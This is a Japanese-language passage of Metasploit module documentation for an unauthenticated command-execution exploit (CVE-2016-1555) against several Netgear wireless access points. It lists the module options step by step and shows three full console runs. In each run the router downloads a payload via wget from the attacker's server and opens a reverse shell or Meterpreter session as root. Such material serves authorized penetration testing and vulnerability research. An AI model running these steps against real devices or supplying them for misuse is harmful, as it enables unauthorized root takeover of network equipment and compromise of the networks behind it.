説明

このモジュールは、Netgear WN604 バージョン 3.3.3 より前、および WN802Tv2、WNAP210v2、WNAP320、WNDAP350、WNDAP360、WNDAP660 のバージョン 3.5.5.0 より前における、認証されていない任意のコマンド実行の脆弱性を利用します。この脆弱性は、ルーターが (1) boardData102.php、(2) boardData103.php、(3) boardDataJP.php、(4) boardDataNA.php、(5) boardDataWW.php からの POST リクエストを処理する方法に存在します。この脆弱性は FIRMADYNE (https://github.com/firmadyne/firmadyne) の作成者である Daming Dominic Chen によって発見されました。

脆弱なアプリケーション

msfconsole を起動します。
use exploit/linux/http/netgear_unauth_exec を実行します。
set RHOST [ルーターのIP] を設定します。
ペイロードを別のシステムでホストしない場合は、set SRVHOST [サーバーのIP] を設定します。
set LHOST [自身のIP] を設定します。
ランダムなMACアドレスではなく特定のMACアドレスが必要な場合は、set MAC_ADDRESS [12桁の数字] を設定します。
デフォルトの boardDataWW.php ではなく別のURIをターゲットにする場合は、set TARGETURI [ターゲットURI] を設定します。
Meterpreter セッションが必要な場合は、set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp を設定します。
exploit を実行します。
ルーターが脆弱な場合、ペイロードは wget (デフォルトのHTTPステージャー) 経由でドロップされ、実行され、セッションが取得されます。

デフォルトペイロード (linux/mipsbe/shell_reverse_tcp) を使用した例

msf > use exploit/linux/http/netgear_unauth_exec 
msf exploit(linux/http/netgear_unauth_exec) > set RHOST 192.168.200.100
RHOST => 192.168.200.100
msf exploit(linux/http/netgear_unauth_exec) > set LHOST 192.168.200.99
LHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > set SRVHOST 192.168.200.99
SRVHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > exploit

[*] Started reverse TCP handler on 192.168.200.99:4444 
[*] Using URL: http://192.168.200.99:8080/Ekvrz8LbW
[*] Client 192.168.200.100 (Wget) requested /Ekvrz8LbW
[*] Sending payload to 192.168.200.100 (Wget)
[*] Command shell session 1 opened (192.168.200.99:4444 -> 192.168.200.100:56852) at 2018-10-09 20:24:56 +0630
[*] Command Stager progress - 118.97% done (138/116 bytes)
[*] Server stopped.

uname -a
Linux netgear123456 2.6.32.70 #1 Thu Feb 18 01:39:21 UTC 2016 mips unknown
id
uid=0(root) gid=0(root)

Meterpreter (linux/mipsbe/meterpreter/reverse_tcp) を使用した例

msf > use exploit/linux/http/netgear_unauth_exec 
msf exploit(linux/http/netgear_unauth_exec) > set RHOST 192.168.200.100
RHOST => 192.168.200.100
msf exploit(linux/http/netgear_unauth_exec) > set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp
PAYLOAD => linux/mipsbe/meterpreter/reverse_tcp
msf exploit(linux/http/netgear_unauth_exec) > set LHOST 192.168.200.99
LHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > set SRVHOST 192.168.200.99
SRVHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > exploit

[*] Started reverse TCP handler on 192.168.200.99:4444 
[*] Using URL: http://192.168.200.99:8080/x6ZYzUoe9x7IR
[*] Client 192.168.200.100 (Wget) requested /x6ZYzUoe9x7IR
[*] Sending payload to 192.168.200.100 (Wget)
[*] Sending stage (1108408 bytes) to 192.168.200.100
[*] Meterpreter session 1 opened (192.168.200.99:4444 -> 192.168.200.100:56854) at 2018-10-09 20:26:39 +0630
[*] Command Stager progress - 118.33% done (142/120 bytes)
[*] Server stopped.

meterpreter > sysinfo
Computer     : 192.168.200.100
OS           :  (Linux 2.6.32.70)
Architecture : mips
BuildTuple   : mips-linux-muslsf
Meterpreter  : mipsbe/linux
meterpreter > getuid 
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter >

別の脆弱なURI (boardDataNA.php) を使用した例

msf > use exploit/linux/http/netgear_unauth_exec 
msf exploit(linux/http/netgear_unauth_exec) > set RHOST 192.168.200.100
RHOST => 192.168.200.100
msf exploit(linux/http/netgear_unauth_exec) > set TARGETURI boardDataNA.php
TARGETURI => boardDataNA.php
msf exploit(linux/http/netgear_unauth_exec) > set LHOST 192.168.200.99
LHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > set SRVHOST 192.168.200.99
SRVHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > exploit

[*] Started reverse TCP handler on 192.168.200.99:4444 
[*] Using URL: http://192.168.200.99:8080/zlJyAS8F1As
[*] Client 192.168.200.100 (Wget) requested /zlJyAS8F1As
[*] Sending payload to 192.168.200.100 (Wget)
[*] Command shell session 1 opened (192.168.200.99:4444 -> 192.168.200.100:56856) at 2018-10-09 20:28:41 +0630
[*] Command Stager progress - 118.64% done (140/118 bytes)
[*] Server stopped.

uname -a
Linux netgear123456 2.6.32.70 #1 Thu Feb 18 01:39:21 UTC 2016 mips unknown
id
uid=0(root) gid=0(root)

cve-2016-1555

人気